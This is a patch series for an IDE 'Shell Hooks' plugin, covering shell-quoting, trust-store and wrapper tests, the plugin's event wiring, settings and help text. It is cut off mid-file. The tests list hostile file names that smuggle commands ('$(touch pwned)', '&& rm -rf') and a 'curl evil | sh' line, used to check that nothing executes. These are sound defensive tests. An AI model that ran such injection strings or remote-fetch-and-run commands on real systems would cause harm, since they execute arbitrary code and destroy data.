ShellQuoteTest { + @Test + fun quotesAWordInSingleQuotes() { + assertEquals("'a b'", ShellQuote.quote("a b")) + } + + @Test + fun aSingleQuoteClosesEscapesAndReopens() { + assertEquals("'it'\\''s'", ShellQuote.quote("it's")) + } + + @Test + fun theEmptyStringIsStillOneWord() { + assertEquals("''", ShellQuote.quote("")) + } + + @Test + fun commandPutsAssignmentsBeforeTheWords() { + assertEquals("A='1' B='x y' 'sh' 'run'", ShellQuote.command(linkedMapOf("A" to "1", "B" to "x y"), listOf("sh", "run"))) + } + + @Test(expected = IllegalArgumentException::class) + fun commandRejectsAnUnsafeVariableName() { + ShellQuote.command(mapOf("A;rm" to "1"), listOf("sh")) + } + + // The real check: a shell reads each quoted word back unchanged, and nothing in it runs. + @Test + fun aShellReadsEveryHostileWordBackUnchanged() { + val sh = File("/bin/sh") + assumeTrue("needs /bin/sh", sh.canExecute()) + val dir = tempDir("quote") + try { + for (name in HOSTILE_NAMES) { + // The assignment reaches the inner shell's environment; "$V" in the outer line would not see it. + val line = ShellQuote.command(mapOf("V" to name), listOf("sh", "-c", "printf '%s|%s' \"\$1\" \"\$V\"", "_", name)) + val process = ProcessBuilder(sh.path, "-c", line).directory(dir).redirectErrorStream(true).start() + val out = process.inputStream.readBytes().toString(Charsets.UTF_8) + process.waitFor(10, TimeUnit.SECONDS) + assertEquals("word: <$name>", "$name|$name", out) + } + assertFalse("a quoted word ran a command", File(dir, "pwned").exists()) + } finally { + dir.deleteRecursively() + } + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TestSupport.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TestSupport.kt new file mode 100644 index 000000000..ca96d08f7 --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TestSupport.kt @@ -0,0 +1,47 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File +import java.nio.file.Files + +class MapStore : KeyValueStore { + val map = linkedMapOf() + + override fun getString(key: String): String? = map[key] + + override fun putString( + key: String, + value: String?, + ) { + if (value == null) map.remove(key) else map[key] = value + } + + override fun keys(): Set = map.keys.toSet() +} + +fun tempDir(prefix: String): File = Files.createTempDirectory(prefix).toFile() + +fun File.script( + path: String, + body: String = "#!/bin/sh\necho hi\n", + executable: Boolean = true, +): File = + File(this, path).apply { + parentFile.mkdirs() + writeText(body) + setExecutable(executable, false) + } + +/** Arguments a hostile file name could smuggle into a shell, if anything ever parsed them. */ +val HOSTILE_NAMES = + listOf( + "with space.kt", + "\$(touch pwned).kt", + "`touch pwned`.kt", + "quote'd.kt", + "double\"quote.kt", + "new\nline.kt", + "semi;colon && rm -rf x.kt", + "-dash-first.kt", + "glob*?[x].kt", + "", + ) diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TrustStoreTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TrustStoreTest.kt new file mode 100644 index 000000000..893808e2b --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TrustStoreTest.kt @@ -0,0 +1,88 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.Assert.assertEquals +import org.junit.Assert.assertFalse +import org.junit.Assert.assertTrue +import org.junit.Test +import java.io.File + +class TrustStoreTest { + private val store = MapStore() + private val trust = TrustStore(store) + private val project = File("/projects/app") + private val sha = TrustStore.sha256("echo ok\n".toByteArray()) + + @Test + fun nothingIsTrustedUntilApproved() { + assertFalse(trust.isTrusted(project, "file-saved", sha)) + } + + @Test + fun approvalCoversThatPathWithThatContent() { + trust.trust(project, "file-saved", sha) + + assertTrue(trust.isTrusted(project, "file-saved", sha)) + } + + @Test + fun changedContentIsUntrustedAgain() { + trust.trust(project, "file-saved", sha) + + assertFalse(trust.isTrusted(project, "file-saved", TrustStore.sha256("curl evil | sh\n".toByteArray()))) + } + + @Test + fun approvalDoesNotCarryToAnotherPathOrProject() { + trust.trust(project, "file-saved", sha) + + assertFalse(trust.isTrusted(project, "file-saved.d/other", sha)) + assertFalse(trust.isTrusted(File("/projects/other"), "file-saved", sha)) + } + + @Test + fun reapprovingReplacesTheOldContent() { + val newSha = TrustStore.sha256("echo new\n".toByteArray()) + trust.trust(project, "file-saved", sha) + trust.trust(project, "file-saved", newSha) + + assertTrue(trust.isTrusted(project, "file-saved", newSha)) + assertFalse(trust.isTrusted(project, "file-saved", sha)) + } + + @Test + fun revokeForgetsEveryApprovalForTheProject() { + val other = File("/projects/other") + trust.trust(project, "file-saved", sha) + trust.trust(project, "build-failed", sha) + trust.trust(other, "file-saved", sha) + + trust.revoke(project) + + assertFalse(trust.isTrusted(project, "file-saved", sha)) + assertFalse(trust.isTrusted(project, "build-failed", sha)) + assertTrue(trust.isTrusted(other, "file-saved", sha)) + assertEquals(listOf(TrustStore.canonical(other)), trust.trustedProjects()) + } + + @Test + fun pathsWithTabsAndNewlinesRoundTrip() { + val odd = "file-saved.d/a\tb\nc" + trust.trust(project, odd, sha) + trust.trust(project, "file-saved", sha) + + assertTrue(trust.isTrusted(project, odd, sha)) + assertEquals(2, trust.trustedCount(project)) + } + + @Test + fun approvalSurvivesANewStoreOverTheSameData() { + trust.trust(project, "file-saved", sha) + + assertTrue(TrustStore(store).isTrusted(project, "file-saved", sha)) + } + + @Test + fun sha256IsLowercaseHex() { + assertEquals("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", TrustStore.sha256(ByteArray(0))) + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/WrapperScriptTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/WrapperScriptTest.kt new file mode 100644 index 000000000..cde9c0b5d --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/WrapperScriptTest.kt @@ -0,0 +1,150 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.After +import org.junit.Assert.assertEquals +import org.junit.Assert.assertFalse +import org.junit.Assume.assumeTrue +import org.junit.Test +import org.junit.runner.RunWith +import org.junit.runners.Parameterized +import java.io.File +import java.util.concurrent.TimeUnit + +/** + * Runs the bundled wrapper under each POSIX shell this machine has. Android runs it with mksh + * (/system/bin/sh), which is not here; dash and busybox ash are the strictest stand-ins. + */ +@RunWith(Parameterized::class) +class WrapperScriptTest( + private val shell: String, +) { + companion object { + @JvmStatic + @Parameterized.Parameters(name = "{0}") + fun shells(): List> = + listOf("/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/busybox") + .filter { File(it).canExecute() } + .map { arrayOf(it) } + .ifEmpty { listOf(arrayOf("/bin/sh")) } + } + + private val wrapper = File("src/main/assets/cogo-hook-run.sh") + private val work = tempDir("wrapper") + private val prefix = File(work, "usr") + private val project = File(work, "my project").apply { mkdirs() } + + @After + fun tearDown() { + work.deleteRecursively() + } + + /** A stand-in interpreter in $PREFIX/bin that reports how it was called. */ + private fun interpreter(name: String) = + prefix.script("bin/$name", "#!/bin/sh\nprintf '%s\\n' \"interp=$name\"; for a in \"\$@\"; do printf '[%s]\\n' \"\$a\"; done\n") + + private fun run( + script: File, + vararg args: String, + env: Map = emptyMap(), + ): String { + assumeTrue("needs $shell", File(shell).canExecute()) + val command = if (shell.endsWith("busybox")) listOf(shell, "sh") else listOf(shell) + val process = + ProcessBuilder(command + listOf(wrapper.absolutePath, script.path) + args) + .directory(work) + .redirectErrorStream(true) + .apply { + environment()["PREFIX"] = prefix.path + environment().putAll(env) + }.start() + val out = process.inputStream.readBytes().toString(Charsets.UTF_8) + process.waitFor(10, TimeUnit.SECONDS) + return out + } + + @Test + fun anEnvShebangRunsTheNamedProgramFromPrefix() { + interpreter("python3") + val script = work.script("hook", "#!/usr/bin/env python3\nprint(1)\n") + + assertEquals("interp=python3\n[${script.path}]\n[a b]\n", run(script, "a b")) + } + + @Test + fun anAbsoluteShebangWithAnArgumentIsMappedOntoPrefix() { + interpreter("bash") + val script = work.script("hook", "#!/bin/bash -e\necho\n") + + assertEquals("interp=bash\n[-e]\n[${script.path}]\n[x]\n", run(script, "x")) + } + + @Test + fun aWindowsLineEndingOnTheShebangIsIgnored() { + interpreter("bash") + val script = work.script("hook", "#!/usr/bin/env bash\r\necho\r\n") + + assertEquals("interp=bash\n[${script.path}]\n", run(script)) + } + + @Test + fun noShebangRunsWithPrefixBash() { + interpreter("bash") + val script = work.script("hook", "echo plain\n") + + assertEquals("interp=bash\n[${script.path}]\n", run(script)) + } + + @Test + fun noShebangAndNoBashFallsBackToSh() { + val script = work.script("hook", "printf 'sh:%s\\n' \"\$1\"\n") + + assertEquals("sh:v\n", run(script, "v")) + } + + @Test + fun aShebangOutsidePrefixIsLeftToTheKernel() { + val script = work.script("hook", "#!/bin/sh\nprintf 'direct:%s\\n' \"\$1\"\n") + + assertEquals("direct:v\n", run(script, "v")) + } + + @Test + fun hostileArgumentsArriveUnchangedAndRunNothing() { + val script = work.script("hook", "#!/bin/sh\nfor a in \"\$@\"; do printf '[%s]\\n' \"\$a\"; done\n") + + val out = run(script, *HOSTILE_NAMES.toTypedArray()) + + assertEquals(HOSTILE_NAMES.joinToString("") { "[$it]\n" }, out) + assertFalse(File(work, "pwned").exists()) + assertFalse(File(project, "pwned").exists()) + } + + @Test + fun theScriptRunsInTheEventsProjectFolder() { + val script = work.script("hook", "#!/bin/sh\npwd\n") + + val pwd = run(script, env = mapOf("COGO_PROJECT_DIR" to project.path)).trim() + + assertEquals(project.canonicalPath, File(pwd).canonicalPath) + } + + @Test + fun aMissingProjectFolderLeavesTheDirectoryAlone() { + val script = work.script("hook", "#!/bin/sh\npwd\n") + + val pwd = run(script, env = mapOf("COGO_PROJECT_DIR" to File(work, "gone").path)).trim() + + assertEquals(work.canonicalPath, File(pwd).canonicalPath) + } + + @Test + fun theExitCodeIsTheScripts() { + assumeTrue(File(shell).canExecute()) + val script = work.script("hook", "#!/bin/sh\nexit 7\n") + val command = if (shell.endsWith("busybox")) listOf(shell, "sh") else listOf(shell) + val process = ProcessBuilder(command + listOf(wrapper.absolutePath, script.path)).start() + process.waitFor(10, TimeUnit.SECONDS) + + assertEquals(7, process.exitValue()) + } +} From ac51ed5608e7a393de6392aa06a1c0a15a802533 Mon Sep 17 00:00:00 2001 From: David Schachter Date: Wed, 11 Nov 2026 12:24:36 -0800 Subject: [PATCH 03/24] ADFA-3570 | Shell Hooks: wire the IDE's events, settings and Hooks tab - ShellHooksPlugin listens to project open/close, file open/close/ switch/save and build start/success/failure, and queues each event for the runner. Listeners are added in activate() and removed in deactivate(). File switches are coalesced to the last one in 500 ms. - Nothing runs until the user turns hooks on. Project hooks have their own switch, also off by default. - Settings screen: master switch, hooks folder and sample hooks, the timeout, a switch per hook, project hooks, and trusted projects with Revoke. Heights are minimums, so rows grow with the font scale. - Hooks tab: recent runs with exit code and output, and project scripts awaiting review. Review shows the whole script and trusts exactly the bytes shown. - Actions: scripts in hooks/actions appear as "Run " on a file's menu and run in the Terminal, with every value shell-quoted. - Tooltips on every contributed element, under plugin_. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01Vh2DAZWMkFWJh7CY7P4kCH --- .../appdevforall/shellhooks/ShellHooksHelp.kt | 90 ++++++ .../shellhooks/ShellHooksPlugin.kt | 304 ++++++++++++++++++ .../shellhooks/ShellHooksSettings.kt | 61 ++++ .../shellhooks/engine/SampleHooks.kt | 69 ++++ .../shellhooks/ui/HooksPanelFragment.kt | 256 +++++++++++++++ .../ui/ShellHooksSettingsFragment.kt | 189 +++++++++++ .../main/res/layout/fragment_hooks_panel.xml | 76 +++++ .../layout/fragment_shell_hooks_settings.xml | 176 ++++++++++ .../src/main/res/layout/item_hook_run.xml | 39 +++ .../src/main/res/layout/item_hook_switch.xml | 25 ++ .../main/res/layout/item_pending_trust.xml | 28 ++ .../main/res/layout/item_trusted_project.xml | 44 +++ .../src/main/res/values/strings.xml | 42 +++ .../src/main/res/values/styles.xml | 10 + 14 files changed, 1409 insertions(+) create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksHelp.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksPlugin.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksSettings.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/SampleHooks.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ui/HooksPanelFragment.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ui/ShellHooksSettingsFragment.kt create mode 100644 plugins/Shell-Hooks/src/main/res/layout/fragment_hooks_panel.xml create mode 100644 plugins/Shell-Hooks/src/main/res/layout/fragment_shell_hooks_settings.xml create mode 100644 plugins/Shell-Hooks/src/main/res/layout/item_hook_run.xml create mode 100644 plugins/Shell-Hooks/src/main/res/layout/item_hook_switch.xml create mode 100644 plugins/Shell-Hooks/src/main/res/layout/item_pending_trust.xml create mode 100644 plugins/Shell-Hooks/src/main/res/layout/item_trusted_project.xml diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksHelp.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksHelp.kt new file mode 100644 index 000000000..a17a1625a --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksHelp.kt @@ -0,0 +1,90 @@ +package org.appdevforall.shellhooks + +import com.itsaky.androidide.plugins.extensions.PluginTooltipButton +import com.itsaky.androidide.plugins.extensions.PluginTooltipEntry + +/** + * The plugin's in-IDE help. Every tag here is attached to a UI element; each entry's button opens + * the full guide, `assets/docs/index.html`. + */ +object ShellHooksHelp { + const val TAG_TAB = "shellhooks.tab" + const val TAG_SETTINGS = "shellhooks.settings" + const val TAG_FOLDER = "shellhooks.folder" + const val TAG_HOOKS = "shellhooks.hooks" + const val TAG_TIMEOUT = "shellhooks.timeout" + const val TAG_PROJECT_HOOKS = "shellhooks.project_hooks" + const val TAG_REVIEW = "shellhooks.review" + const val TAG_ACTION = "shellhooks.action" + + private val guide = listOf(PluginTooltipButton(description = "Shell Hooks guide", uri = "index.html", order = 0)) + + fun entries(): List = + listOf( + PluginTooltipEntry( + tag = TAG_TAB, + summary = "What your hook scripts did: each run's exit code and output.", + detail = + """ +

Lists the last 100 hook runs, newest first. Tap a run to see what the script printed.

+

Scripts stored in a project wait here for your review before they run.

+ """.trimIndent(), + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_SETTINGS, + summary = "Runs your shell scripts when the IDE opens a project, saves a file, or builds.", + detail = + """ +

Off until you turn it on. Put an executable script named after a hook, such as + file-saved, in your hooks folder. It gets the file or project in $1.

+

Hooks only report what happened: a script cannot stop a save or a build.

+ """.trimIndent(), + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_FOLDER, + summary = "Your hooks live in ~/.config/codeonthego/hooks.", + detail = + """ +

For each hook, the script <hook> runs first, then every script in + <hook>.d/ in name order. Only executable files run + (chmod +x); .sample files never do.

+

Scripts in actions/ appear as Run <name> on a file's menu.

+ """.trimIndent(), + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_HOOKS, + summary = "Turn single hooks off without deleting their scripts.", + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_TIMEOUT, + summary = "A script still running after this many seconds is stopped.", + detail = "

Scripts run one at a time, so a slow one delays the next. Run long jobs in the background (nohup ... &).

", + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_PROJECT_HOOKS, + summary = "Scripts stored in a project run only after you review and trust them.", + detail = + """ +

A project can carry hooks in .codeonthego/hooks/. Any plugin that can write + files, or an AI agent, can put a script there, so none runs until you read it in the Hooks + tab and trust it. Editing a trusted script makes it untrusted again.

+ """.trimIndent(), + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_REVIEW, + summary = "Read the script before you trust it: it runs with the Terminal's access.", + buttons = guide, + ), + PluginTooltipEntry( + tag = TAG_ACTION, + summary = "Runs this script from your actions folder on the file, in the Terminal.", + buttons = guide, + ), + ) +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksPlugin.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksPlugin.kt new file mode 100644 index 000000000..919a88678 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksPlugin.kt @@ -0,0 +1,304 @@ +package org.appdevforall.shellhooks + +import com.itsaky.androidide.plugins.IPlugin +import com.itsaky.androidide.plugins.PluginContext +import com.itsaky.androidide.plugins.extensions.DocumentationExtension +import com.itsaky.androidide.plugins.extensions.FileOpenExtension +import com.itsaky.androidide.plugins.extensions.FileTabMenuItem +import com.itsaky.androidide.plugins.extensions.PluginSettingsEntry +import com.itsaky.androidide.plugins.extensions.PluginTooltipEntry +import com.itsaky.androidide.plugins.extensions.SettingsExtension +import com.itsaky.androidide.plugins.extensions.TabItem +import com.itsaky.androidide.plugins.extensions.UIExtension +import com.itsaky.androidide.plugins.services.BuildStatusListener +import com.itsaky.androidide.plugins.services.FileChangeListener +import com.itsaky.androidide.plugins.services.FileSaveListener +import com.itsaky.androidide.plugins.services.IdeBuildService +import com.itsaky.androidide.plugins.services.IdeCommandService +import com.itsaky.androidide.plugins.services.IdeEditorService +import com.itsaky.androidide.plugins.services.IdeProjectService +import com.itsaky.androidide.plugins.services.IdeTerminalService +import com.itsaky.androidide.plugins.services.ProjectLifecycleListener +import com.itsaky.androidide.plugins.services.TerminalCommandResult +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.SupervisorJob +import kotlinx.coroutines.cancel +import kotlinx.coroutines.launch +import org.appdevforall.shellhooks.engine.Coalescer +import org.appdevforall.shellhooks.engine.HookDiscovery +import org.appdevforall.shellhooks.engine.HookEvent +import org.appdevforall.shellhooks.engine.HookLog +import org.appdevforall.shellhooks.engine.HookPaths +import org.appdevforall.shellhooks.engine.HookResolver +import org.appdevforall.shellhooks.engine.HookRunner +import org.appdevforall.shellhooks.engine.IdeCommandRunner +import org.appdevforall.shellhooks.engine.SampleHooks +import org.appdevforall.shellhooks.engine.ShellQuote +import org.appdevforall.shellhooks.engine.TrustStore +import org.appdevforall.shellhooks.ui.HooksPanelFragment +import org.appdevforall.shellhooks.ui.ShellHooksSettingsFragment +import java.io.File +import java.io.IOException + +/** + * Runs the user's shell scripts at the IDE's integration points. The plugin only listens and + * queues; [HookRunner] finds the scripts for each event and runs them one at a time through the + * IDE's command service. Nothing runs until the user turns hooks on in Preferences. + */ +class ShellHooksPlugin : + IPlugin, + UIExtension, + FileOpenExtension, + SettingsExtension, + DocumentationExtension { + private lateinit var context: PluginContext + lateinit var paths: HookPaths + private set + lateinit var settings: ShellHooksSettings + private set + lateinit var trust: TrustStore + private set + val log = HookLog() + + private var scope: CoroutineScope? = null + private var runner: HookRunner? = null + private var coalescer: Coalescer? = null + + @Volatile + private var wrapper: File? = null + + private val projectListener = + object : ProjectLifecycleListener { + override fun onProjectOpened(projectDir: File) = submit(HookEvent.projectOpened(projectDir)) + + override fun onProjectClosed(projectDir: File) = submit(HookEvent.projectClosed(projectDir)) + } + + private val fileChangeListener = + FileChangeListener { file -> + if (isOn()) coalescer?.offer(HookEvent.fileActivated(file, currentProjectDir())) + } + + private val fileSaveListener = FileSaveListener { file -> submit(HookEvent.fileSaved(file, currentProjectDir())) } + + private val buildListener = + object : BuildStatusListener { + override fun onBuildStarted() = submit(HookEvent.buildStarted(currentProjectDir())) + + override fun onBuildFinished() = submit(HookEvent.buildSucceeded(currentProjectDir())) + + override fun onBuildFailed(error: String?) = submit(HookEvent.buildFailed(error, currentProjectDir())) + } + + override fun initialize(context: PluginContext): Boolean = + try { + this.context = context + paths = HookPaths(context.getAppFilesDir()) + settings = ShellHooksSettings(context.getPluginSharedPreferences(ShellHooksSettings.PREFS)) + trust = TrustStore(PrefsKeyValueStore(context.getPluginSharedPreferences(ShellHooksSettings.TRUST_PREFS))) + instance = this + true + } catch (t: Throwable) { + context.logger.error("Shell Hooks failed to initialize", t) + false + } + + override fun activate(): Boolean { + val scope = CoroutineScope(SupervisorJob() + Dispatchers.IO).also { scope = it } + wrapper = installWrapper() + val warn: (String) -> Unit = { context.logger.warn(it) } + runner = + HookRunner( + scope = scope, + resolver = HookResolver(paths, settings, trust, log, File(context.getPluginDataDir(), VERIFIED_DIR), warn), + commands = IdeCommandRunner { service(IdeCommandService::class.java) }, + log = log, + wrapper = { wrapper }, + timeoutMs = { settings.timeoutSeconds * 1000L }, + ideVersion = ideVersion(), + warn = warn, + ) + coalescer = Coalescer(scope, FILE_ACTIVATED_DEBOUNCE_MS) { submit(it) } + + // Each in its own try: a host without one listener, or a refused permission, must not + // cost the others. + listen("project") { service(IdeProjectService::class.java)?.addProjectLifecycleListener(projectListener) } + listen("file change") { service(IdeEditorService::class.java)?.addFileChangeListener(fileChangeListener) } + listen("file save") { service(IdeEditorService::class.java)?.addFileSaveListener(fileSaveListener) } + listen("build") { service(IdeBuildService::class.java)?.addBuildStatusListener(buildListener) } + + submit(HookEvent.ideStarted(currentProjectDir())) + return true + } + + override fun deactivate(): Boolean { + listen("project") { service(IdeProjectService::class.java)?.removeProjectLifecycleListener(projectListener) } + listen("file change") { service(IdeEditorService::class.java)?.removeFileChangeListener(fileChangeListener) } + listen("file save") { service(IdeEditorService::class.java)?.removeFileSaveListener(fileSaveListener) } + listen("build") { service(IdeBuildService::class.java)?.removeBuildStatusListener(buildListener) } + coalescer?.cancel() + coalescer = null + runner?.close() + runner = null + scope?.cancel() + scope = null + return true + } + + override fun dispose() { + if (instance === this) instance = null + } + + // FileOpenExtension + + override fun onFileOpened(file: File) = submit(HookEvent.fileOpened(file, currentProjectDir())) + + override fun onFileClosed(file: File) = submit(HookEvent.fileClosed(file, currentProjectDir())) + + /** One "Run " per script in the actions folder; the host shows these in the file tree too. */ + override fun getFileTabMenuItems(file: File): List { + if (!isOn()) return emptyList() + return HookDiscovery.actions(paths.actions).mapIndexed { index, action -> + FileTabMenuItem( + id = "action:${action.name}", + title = "Run ${action.name}", + order = ACTION_MENU_ORDER + index, + tooltipTag = ShellHooksHelp.TAG_ACTION, + action = { runAction(action, file) }, + ) + } + } + + // UIExtension + + override fun getEditorTabs(): List = + listOf( + TabItem( + id = TAB_ID, + title = "Hooks", + fragmentFactory = { HooksPanelFragment() }, + order = 210, + tooltipTag = ShellHooksHelp.TAG_TAB, + ), + ) + + // SettingsExtension + + override fun getSettingsEntries(): List = + listOf( + PluginSettingsEntry( + id = "shell_hooks", + title = "Shell Hooks", + summary = "Run your scripts when a project opens, a file is saved, or a build ends", + fragmentClassName = ShellHooksSettingsFragment::class.java.name, + ), + ) + + // DocumentationExtension + + override fun getTooltipCategory(): String = TOOLTIP_CATEGORY + + override fun getTooltipEntries(): List = ShellHooksHelp.entries() + + override fun getTier3DocsAssetPath(): String = "docs" + + /** Writes the sample hooks; returns how many files, or throws when the folder is not writable. */ + @Throws(IOException::class) + fun writeSamples(): Int = SampleHooks.write(paths) + + fun isOn(): Boolean = ::settings.isInitialized && settings.enabled + + fun service(type: Class): T? = runCatching { context.services.get(type) }.getOrNull() + + fun logger() = context.logger + + private fun submit(event: HookEvent) { + if (!isOn() || !settings.isHookEnabled(event.hook)) return + runner?.submit(event) + } + + private fun currentProjectDir(): File? = + runCatching { service(IdeProjectService::class.java)?.getCurrentProject()?.rootDir }.getOrNull() + + /** Runs [action] on [file] in the visible Terminal, so the user sees what it prints. */ + private fun runAction( + action: File, + file: File, + ) { + val scope = scope ?: return + val runnerScript = wrapper ?: return + val terminal = service(IdeTerminalService::class.java) ?: return + val projectDir = currentProjectDir() + // The Terminal takes a command line, so every value is quoted as one word. + val command = + ShellQuote.command( + linkedMapOf( + "COGO_HOOK" to "action", + "COGO_PROJECT_DIR" to (projectDir?.path ?: ""), + "COGO_HOOKS_DIR" to paths.actions.path, + "COGO_HOOK_SCRIPT" to action.path, + "COGO_HOOK_SOURCE" to "global", + ), + listOf("sh", runnerScript.path, action.path, file.path), + ) + scope.launch { + try { + val result = terminal.runInTerminal(command) + if (result is TerminalCommandResult.NotStarted) { + context.logger.warn("Shell Hooks: action ${action.name} did not start: ${result.reason}") + } + } catch (e: Exception) { + context.logger.warn("Shell Hooks: action ${action.name} failed to start", e) + } + } + } + + // The runner script ships as an asset and is copied out on every activation, so an update to + // the plugin replaces it. + private fun installWrapper(): File? = + try { + val target = File(context.getPluginDataDir(), WRAPPER_NAME) + val stream = context.resources.openPluginAsset(WRAPPER_NAME) ?: throw IOException("asset missing") + stream.use { input -> target.outputStream().use { input.copyTo(it) } } + target + } catch (e: Exception) { + context.logger.error("Shell Hooks: cannot install $WRAPPER_NAME; no hook will run", e) + null + } + + private fun ideVersion(): String? = + runCatching { + val app = context.androidContext.applicationContext + app.packageManager.getPackageInfo(app.packageName, 0).versionName + }.getOrNull() + + private inline fun listen( + what: String, + block: () -> Unit, + ) { + try { + block() + } catch (e: Exception) { + context.logger.warn("Shell Hooks: no $what events: ${e.message}") + } catch (e: LinkageError) { + // A host older than 26.47 has no such method; that hook simply never fires. + context.logger.warn("Shell Hooks: this IDE has no $what events") + } + } + + companion object { + const val PLUGIN_ID = "org.appdevforall.shellhooks" + const val TOOLTIP_CATEGORY = "plugin_$PLUGIN_ID" + const val TAB_ID = "shell_hooks_tab" + const val WRAPPER_NAME = "cogo-hook-run.sh" + private const val VERIFIED_DIR = "verified" + private const val FILE_ACTIVATED_DEBOUNCE_MS = 500L + private const val ACTION_MENU_ORDER = 500 + + @Volatile + private var instance: ShellHooksPlugin? = null + + fun getInstance(): ShellHooksPlugin? = instance + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksSettings.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksSettings.kt new file mode 100644 index 000000000..bcd45b5ec --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ShellHooksSettings.kt @@ -0,0 +1,61 @@ +package org.appdevforall.shellhooks + +import android.content.SharedPreferences +import org.appdevforall.shellhooks.engine.Hook +import org.appdevforall.shellhooks.engine.HookSwitches +import org.appdevforall.shellhooks.engine.KeyValueStore + +/** What the user chose on the settings screen. Everything starts off: hooks run only once enabled. */ +class ShellHooksSettings( + private val prefs: SharedPreferences, +) : HookSwitches { + override var enabled: Boolean + get() = prefs.getBoolean(KEY_ENABLED, false) + set(value) = prefs.edit().putBoolean(KEY_ENABLED, value).apply() + + override var projectHooksEnabled: Boolean + get() = prefs.getBoolean(KEY_PROJECT_HOOKS, false) + set(value) = prefs.edit().putBoolean(KEY_PROJECT_HOOKS, value).apply() + + override fun isHookEnabled(hook: Hook): Boolean = prefs.getBoolean(hookKey(hook), true) + + fun setHookEnabled( + hook: Hook, + enabled: Boolean, + ) = prefs.edit().putBoolean(hookKey(hook), enabled).apply() + + var timeoutSeconds: Int + get() = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT_SECONDS).coerceIn(MIN_TIMEOUT_SECONDS, MAX_TIMEOUT_SECONDS) + set(value) = prefs.edit().putInt(KEY_TIMEOUT, value.coerceIn(MIN_TIMEOUT_SECONDS, MAX_TIMEOUT_SECONDS)).apply() + + private fun hookKey(hook: Hook) = "hook.${hook.id}" + + companion object { + const val PREFS = "settings" + const val TRUST_PREFS = "trust" + const val DEFAULT_TIMEOUT_SECONDS = 60 + const val MIN_TIMEOUT_SECONDS = 1 + const val MAX_TIMEOUT_SECONDS = 3600 + + private const val KEY_ENABLED = "enabled" + private const val KEY_PROJECT_HOOKS = "project_hooks" + private const val KEY_TIMEOUT = "timeout_seconds" + } +} + +/** [KeyValueStore] over SharedPreferences, for the trust store. */ +class PrefsKeyValueStore( + private val prefs: SharedPreferences, +) : KeyValueStore { + override fun getString(key: String): String? = prefs.getString(key, null) + + // commit, not apply: a trust decision must be on disk before the script it covers can run. + override fun putString( + key: String, + value: String?, + ) { + prefs.edit().apply { if (value == null) remove(key) else putString(key, value) }.commit() + } + + override fun keys(): Set = prefs.all.keys +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/SampleHooks.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/SampleHooks.kt new file mode 100644 index 000000000..771015b38 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/SampleHooks.kt @@ -0,0 +1,69 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File + +/** + * Writes one `.sample` per hook, and a sample action, into the user's hooks folder. As in + * git, a sample never runs: it is not executable and its name ends in `.sample`. Renaming it and + * marking it executable turns it on. + */ +object SampleHooks { + const val ACTION_SAMPLE = "word-count.sample" + + /** Writes the samples and returns how many files it wrote. */ + fun write(paths: HookPaths): Int { + paths.globalHooks.mkdirs() + paths.actions.mkdirs() + var written = 0 + for (hook in Hook.entries) { + sample(File(paths.globalHooks, hook.id + HookDiscovery.SAMPLE_SUFFIX), hookSample(hook)) + written++ + } + sample(File(paths.actions, ACTION_SAMPLE), ACTION_BODY) + return written + 1 + } + + private fun sample( + file: File, + body: String, + ) { + file.writeText(body) + file.setExecutable(false, false) + } + + fun hookSample(hook: Hook): String = + """ + 